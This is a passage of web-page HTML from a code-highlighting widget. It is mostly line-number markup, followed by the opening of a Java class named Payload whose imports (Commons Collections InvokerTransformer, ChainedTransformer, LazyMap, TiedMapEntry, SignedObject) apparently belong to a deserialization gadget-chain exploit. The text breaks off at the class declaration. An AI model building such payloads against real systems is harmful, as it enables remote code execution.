data-line=\"crayon-5907b45e83577928284167-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-150\">150<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-151\">151<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-152\">152<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-153\">153<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-154\">154<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-155\">155<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-156\">156<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-157\">157<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-158\">158<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-159\">159<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-160\">160<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-161\">161<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-162\">162<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-163\">163<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-164\">164<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-165\">165<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-166\">166<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-167\">167<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-168\">168<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-169\">169<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-170\">170<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-171\">171<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-172\">172<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-173\">173<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-174\">174<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-175\">175<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-176\">176<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-177\">177<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-178\">178<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-179\">179<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-180\">180<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-181\">181<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-182\">182<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-183\">183<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-184\">184<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-185\">185<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-186\">186<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-187\">187<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-188\">188<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-189\">189<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">io<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">FileOutputStream<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-2\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">io<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ObjectOutputStream<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-3\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">io<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ObjectStreamException<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-4\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">io<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Serializable<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-5\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">lang<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reflect<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Field<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-6\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">security<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">KeyPair<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-7\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">security<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">KeyPairGenerator<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-8\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">security<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">PrivateKey<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-9\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">security<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">PublicKey<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-10\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">security<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Signature<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-11\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">security<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">SignedObject<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-12\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Comparator<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-13\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">HashMap<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-14\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">HashSet<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-15\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Map<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-16\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">concurrent<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ConcurrentSkipListSet<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-17\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">java<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">util<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">concurrent<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">CopyOnWriteArraySet<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-19\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">net<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sf<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">json<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">JSONArray<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-20\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-21\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Transformer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-22\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collection<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">AbstractCollectionDecorator<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-23\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">functors<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ChainedTransformer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-24\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">functors<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ConstantTransformer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-25\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">functors<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">InvokerTransformer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-26\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">keyvalue<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">TiedMapEntry<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-27\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">LazyMap<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-28\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ReferenceMap<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-29\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">org<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">apache<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">commons<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">collections<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ListOrderedSet<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-30\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-31\"><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">implements<\/span><span class=\"crayon-h\"> <\/span><span 